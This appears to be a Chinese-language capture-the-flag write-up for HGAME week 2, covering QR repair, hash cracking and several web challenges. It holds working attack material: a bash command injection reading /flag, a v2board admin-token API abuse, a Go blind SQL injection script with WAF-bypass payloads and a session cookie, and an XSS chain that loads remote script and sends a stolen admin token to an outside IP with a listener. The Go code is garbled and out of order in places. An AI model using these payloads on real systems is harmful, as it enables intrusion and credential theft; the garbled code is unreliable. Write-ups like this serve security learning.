# week2

## mics

#### **Tetris Master**

ctrl+c

cat flag

### sign in pro max

根据提示爆破,前面几个用cmd5就行了,

分别是

base64+base58+base32

md5

sha1

sha256

凯撒解密 5位

拼接后加-,写成uuid的格式

#### **Tetris Master Revenge**

标识了 src:https://github.com/liungkejin/Bash-Games

下载下来diff一下

添加的不多,多了一个指定target的游戏模式,代码写着在master模式拿到50000分获取flag

不可能真打的, 倒是有个hint

# Hint: More than yes or no here

看来这里可以塞点别的东西进去

同 byteCTF 2022 bashgame

数组索引中可以插入命令执行

x[\$(cat /flag)]

### crazy\_qrcode

二维码无法识别,可能动了手脚需要修复

默认掩码是7, 改成5和2可以无错误识别, 但是识别结果没什么意义

mask 4有校验错误,默认校验等级M,改成H得到解压密码QDjkXkpM0BHNXujs

开个ps拼一下,有旋转,但是顺序是对的,试试看吧

2, 10, 12, 13, 14, 17, 22, 24无法确定旋转方向

确定mask 2, 纠错等级H

flag应该是8bit byte,这样24的旋转方向就确定了

根据白块黑块不能太大片的原则再调整一下其他块的旋转

二维码是有纠错的,坏几块应该还好,虽然找不出原本的样子,但是可以试试

直接读取到 Csv5y\_qrc0de

感觉差一点,前面的Crazy有一点不太对,

再转转就差不多了

Cr42y\_qrc0de



# **Git Leakage**

git-dumper—把梭

### v2board

呃呃呃昨晚刚刚看到文章,接口鉴权有问题

先注册登陆拿一个token,再打 /api/v1/admin/user/fetch 拿下所有用户包括admin的token

#### **Search Commodity**

```
先拿字典爆破,一看密码admin123,不理解为什么普通用户的密码里会带admin这个词注入点search_id,7-1检查了一下是数字型报错信息被过滤了,排除报错注入堆叠注入不行,union注入很诡异,不知道为什么试了一下if(1=1,1,sleep(1))时间盲注还行,sleep(1)停留了8秒2-if(1=1,1,0)这样也能带条件表达式进去但是条件表达式也很诡异,无论表达式真假永远取真过滤了database,但是大写Database可以绕过length也过滤了同样大写lenGth绕过9-lenGth(Database());#得知库名长度为6,写个脚本爆一下库名吧
```

```
package main
import (
    "bytes"
    "fmt"
   "io"
   "net/http"
    "net/url"
    "strconv"
    "strings"
)
const want = "
(Select(group_concat(column_name))From(infoRmation_schema.COLUMNS)Where(table_name/*1*/like\"L1st\"))"
var length int
var possible = `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_`
func GenPayload(prefix string, index int) string {
   res := prefix + possible[index:index+1]
   u := url.Values{}
   u.Set("search_id", "if("+want+"like'"+res+"%',1,2);#")
   return u.Encode()
func GenPayload2(try int) string {
    u := url.Values{}
    u.Set("search_id", "if(lenGth("+want+") like '"+strconv.Itoa(try)+"',1,2);#")
   return u.Encode()
}
func newPost(payload io.Reader) *http.Request {
    req, _ := http.NewRequest("POST", "http://week-2.hgame.lwsec.cn:30943/search", payload)
    req.Header.Set("Cookie",
"SESSION=MTY3MzYxMTkyMXxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ
6WlhJd01RPT18H2ati9rUiXXHCZlTGiumAS9ZxHL7uWdntF9y6SzXP2o=")
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    return req
}
func getLength() int {
   for i := 0; ; i++ {
```

```
body, _ := io.ReadAll(resp.Body)
         if bytes.Contains(body, []byte("hard disk")) {
             return i
         }
         fmt.Println(i)
     }
 }
 func main() {
    length = getLength()
     fmt.Println("possible:", possible)
     var known string
    for i := 0; i < length; i++ {
         for j := 0; j < len(possible); j++ {</pre>
             resp, _ := http.DefaultClient.Do(newPost(strings.NewReader(GenPayload(known, j))))
             body, _ := io.ReadAll(resp.Body)
             if bytes.Contains(body, []byte("hard disk")) {
                 known += possible[j : j+1]
                 fmt.Println("[+] ", known)
                 break
             }
         }
         if len(known) \neq i+1 {
             fmt.Println("[-] Failed")
             break
         }
     }
 }
库名 sE4rCH
WAF有点抽象
过滤了where,infor,select,from,where,好像还会消除空格
if((Select(group_concat(table_name))From(infoRmation_schema.tables)Where(table_SCHEMA/*1*/like"se4rch"))like'
%25',1,2);#
=> 5ecret15here_L1st_user1nf0
拿 5ecret15here 的列名
if((Select(group_concat(column_name))From(infoRmation_schema.COLUMNS)Where(table_name/*1*/like"5ecret15here")
)like'%25',1,2);#
=> F14GGGG1SHERE
拿flag
if((Select(F14GGGG1SHERE)From(5ecret15here))like'%25',1,2);#
=>??不太行,不区分大小写,flag是区分大小写的
直接拿吧
0/*1*/Union/*1*/Select/*1*/1,F14GGGG1SHERE,3/*1*/From/*1*/5ecret15here;#
```

=> hgame{4\_M4n\_WH0\_Kn0ws\_We4k-P4ssW0rd\_And\_SQL!} 3

resp, \_ := http.DefaultClient.Do(newPost(strings.NewReader(GenPayload2(i))))

### **Designer**

白盒审计

```
if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
   flag = "hgame{true_flag_here}"
}
```

先看看req.ip的具体实现

换个xff头,但是很遗憾没成

应该是xss, bypass有很多, 但是无所谓, 直接注个js进去打csrf

http://week-2.hgame.lwsec.cn:30647/button/preview?"><script src%3D"http://baimeow.cn/a.js"></script><

```
// a.js
let xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        let token = new XMLHttpRequest();
        token.open("POST","http://81.68.114.189:25005",true);
        token.send(this.responseText);
    }
}
xhttp.open("POST","/user/register",true);
xhttp.send("{\"username\":\"admin\"}")
```

写个反连

```
package main

import (
    "fmt"
    "io"
    "net/http"
)

func main() {
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        data, _ := io.ReadAll(r.Body)
        fmt.Println(string(data))
    })
    http.ListenAndServe(":25005", nil)
}
```

触发一下

```
POST /button/share
// paylaod
{"\"><script src=\"http://baimeow.cn/a.js\"></script><":""}</pre>
```